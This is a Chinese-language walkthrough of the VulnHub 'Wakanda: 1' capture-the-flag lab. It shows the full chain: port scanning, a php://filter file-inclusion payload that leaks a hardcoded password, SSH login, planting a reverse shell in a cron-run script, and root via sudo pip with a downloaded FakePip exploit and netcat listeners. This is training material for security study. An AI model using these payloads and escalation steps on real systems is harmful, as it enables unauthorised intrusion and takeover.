一、环境准备
1,下载地址:https://www.vulnhub.com/entry/wakanda-1,251/
2,下载之后,使用VirtualBox虚拟机软件导入虚拟机
3,启动,为了方便测试,网络选择了桥接模式
二、渗透练习
1,收集靶机ip地址
输入命令:netdiscover
发现靶机ip地址为,192.168.1.102
2,收集靶机端口信息
-sS,TCP同步扫描(TCP SYN),因为不必全部打开一个TCP连接,所以这项技术通常称为半开扫描(half-open)。这项技术最大的好处是,很少有系统能够把这记入系统日志。不过,你需要root权限来定制SYN数据包。
-T4,指定扫描过程使用的时序(Timing),总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况良好的情况推荐使用T4
-p-,指定扫描的端口为所有端口,及1-65535
开放端口:
80端口,为http服务
111端口,为RPC服务所有端口
3333端口,探测发现运行的为ssh服务端口
48628端口,未知端口
3,开启了80端口,就访问寻找突破点
4,只有一个页面,看着没利用漏洞,使用dirb爆破目录看是否有可利用
输入命令:dirb http://192.168.1.102
尝试访问界面,都没有返回信息
5,仔细看了下源码, 发现注释的一句 href="?lang=fr",将URL添加上之后,页面语言变成了法语
lang表示可切换的网站语言(网站常常具支持多语言,例如英语、法语、中文等),fr表示法语。我们尝试在HTTP URL中添加这个参数,切换语言为法语。
6,尝试利用,可能存在文件包含漏洞,尝试读取源码
payload:http://192.168.1.102/?lang=php://filter/convert.base64-encode/resource=index
得到了网站源码
PD9waHAKJHBhc3N3b3JkID0iTmlhbWV5NEV2ZXIyMjchISEiIDsvL0kgaGF2ZSB0byByZW1lbWJlciBpdAoKaWYgKGlzc2V0KCRfR0VUWydsYW5nJ10pKQp7CmluY2x1ZGUoJF9HRVRbJ2xhbmcnXS4iLnBocCIpOwp9Cgo/PgoKCgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IlZpYnJhbml1bSBtYXJrZXQiPgogICAgPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJtYW1hZG91Ij4KCiAgICA8dGl0bGU+VmlicmFuaXVtIE1hcmtldDwvdGl0bGU+CgoKICAgIDxsaW5rIGhyZWY9ImJvb3RzdHJhcC5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CgogICAgCiAgICA8bGluayBocmVmPSJjb3Zlci5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CiAgPC9oZWFkPgoKICA8Ym9keSBjbGFzcz0idGV4dC1jZW50ZXIiPgoKICAgIDxkaXYgY2xhc3M9ImNvdmVyLWNvbnRhaW5lciBkLWZsZXggdy0xMDAgaC0xMDAgcC0zIG14LWF1dG8gZmxleC1jb2x1bW4iPgogICAgICA8aGVhZGVyIGNsYXNzPSJtYXN0aGVhZCBtYi1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8aDMgY2xhc3M9Im1hc3RoZWFkLWJyYW5kIj5WaWJyYW5pdW0gTWFya2V0PC9oMz4KICAgICAgICAgIDxuYXYgY2xhc3M9Im5hdiBuYXYtbWFzdGhlYWQganVzdGlmeS1jb250ZW50LWNlbnRlciI+CiAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayBhY3RpdmUiIGhyZWY9IiMiPkhvbWU8L2E+CiAgICAgICAgICAgIDwhLS0gPGEgY2xhc3M9Im5hdi1saW5rIGFjdGl2ZSIgaHJlZj0iP2xhbmc9ZnIiPkZyL2E+IC0tPgogICAgICAgICAgPC9uYXY+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvaGVhZGVyPgoKICAgICAgPG1haW4gcm9sZT0ibWFpbiIgY2xhc3M9ImlubmVyIGNvdmVyIj4KICAgICAgICA8aDEgY2xhc3M9ImNvdmVyLWhlYWRpbmciPkNvbWluZyBzb29uPC9oMT4KICAgICAgICA8cCBjbGFzcz0ibGVhZCI+CiAgICAgICAgICA8P3BocAogICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2xhbmcnXSkpCiAgICAgICAgICB7CiAgICAgICAgICBlY2hvICRtZXNzYWdlOwogICAgICAgICAgfQogICAgICAgICAgZWxzZQogICAgICAgICAgewogICAgICAgICAgICA/PgoKICAgICAgICAgICAgTmV4dCBvcGVuaW5nIG9mIHRoZSBsYXJnZXN0IHZpYnJhbml1bSBtYXJrZXQuIFRoZSBwcm9kdWN0cyBjb21lIGRpcmVjdGx5IGZyb20gdGhlIHdha2FuZGEuIHN0YXkgdHVuZWQhCiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICB9Cj8+CiAgICAgICAgPC9wPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgIDxhIGhyZWY9IiMiIGNsYXNzPSJidG4gYnRuLWxnIGJ0bi1zZWNvbmRhcnkiPkxlYXJuIG1vcmU8L2E+CiAgICAgICAgPC9wPgogICAgICA8L21haW4+CgogICAgICA8Zm9vdGVyIGNsYXNzPSJtYXN0Zm9vdCBtdC1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8cD5NYWRlIGJ5PGEgaHJlZj0iIyI+QG1hbWFkb3U8L2E+PC9wPgogICAgICAgIDwvZGl2PgogICAgICA8L2Zvb3Rlcj4KICAgIDwvZGl2PgoKCgogIAoKPC9ib2R5PjwvaHRtbD4=
解码之后为,得到一个密码Niamey4Ever227!!!
7,因为网站没有后台,所以尝试ssh登录,在网站首页,能发现一个敏感信息 @mamadou
输入命令, ssh [email protected] -p 3333
输入得到的密码 Niamey4Ever227!!!
登录成功,不过使用的shell是python的,而不是bash,所以就先切换shell
import pty
pty.spawn("/bin/bash")
成功切换shell
8,获得第一个flag,就在ssh登录之后的目录
9,使用find / -name 'flag*',不能搜索,提示没权限
10,查看敏感信息,发现另外的用户devops
进入用户目录,发现flag2.txt,但是没有权限查看
11,发现在/tmp下有个test文件,时间为靶机执行之后的时间创建的,应该是靶机会自动创建test文件
在/srv目录下发现了创建test文件的脚本
12,使用vi编辑器,编辑脚本,加上反弹shell的命令
13,本机监听1234端口,nc -lvvp 1234,一会就接受到了反弹的shell
查看flag2
14,进行提权,
输入命令:sudo -l,发现devops账户下,能不需要密码就运行的命令之后pip
寻找可以的exp,url:https://raw.githubusercontent.com/0x00-0x00/FakePip/master/setup.py
下载下来之后,修改里面的LHOST和LPORT为自己靶机的ip和需要监听的端口
15,在devops用户上,下载exp
开启kali上apache服务,service apache2 start
或者利用python搭建web服务, python -m SimpleHTTPServer 8888 ,888为访问端口号
为了方便,我就用apache了
在devops用户的shell下,运行wget http://192.168.1.103/setup.py
下载成功
16,在本机再次监听端口,这次监听的为exp下设置的端口号,我设置的为2345,所以输入 nc -lvvp 2345
在靶机上执行,sudo /usr/bin/pip install . --upgrade --force-reinstall,可以看到反弹shell成功,用户为root
17,查看最终flag
输入命令,cd root
输入命令,cat root.txt
完